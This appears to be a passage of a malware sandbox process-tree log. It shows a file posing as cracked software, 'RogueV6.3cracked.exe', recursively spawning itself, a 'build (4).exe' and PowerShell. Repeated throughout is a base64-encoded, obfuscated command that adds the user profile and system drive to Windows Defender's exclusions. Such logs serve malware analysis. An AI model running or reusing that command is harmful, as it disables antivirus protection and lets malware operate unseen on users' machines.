C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="105⤵PID:7108
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"105⤵PID:6048
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"105⤵PID:7544
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="106⤵PID:6476
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"106⤵PID:6304
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"106⤵PID:1100
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="107⤵PID:5636
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"107⤵PID:6896
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"107⤵PID:7956
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="108⤵PID:7844
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"108⤵PID:7972
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"108⤵PID:6172
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="109⤵PID:2444
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"109⤵PID:8180
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"109⤵PID:7256
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="110⤵PID:7004
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"110⤵PID:7276
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"110⤵PID:7224
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="111⤵PID:7472
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"111⤵PID:7692
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"111⤵PID:6432
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="112⤵PID:6188
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"112⤵PID:5828
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"112⤵PID:7380
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="113⤵PID:8004
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"113⤵PID:6488
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"113⤵PID:8148
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="114⤵PID:8116
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"114⤵PID:6340
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"114⤵PID:7856
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="115⤵PID:8268
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"115⤵PID:8300
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"115⤵PID:8320
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="116⤵PID:8500
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"116⤵PID:8508
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"116⤵PID:8516
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="117⤵PID:8728
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"117⤵PID:8756
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"117⤵PID:8780
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="118⤵PID:8952
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"118⤵PID:8968
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"118⤵PID:8976
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="119⤵PID:9168
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"119⤵PID:9192
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"119⤵PID:9200
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="120⤵PID:2380
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"120⤵PID:5568
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"120⤵PID:7044
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="121⤵PID:6900
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"121⤵PID:8656
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"121⤵PID:8024
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="122⤵PID:8908
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-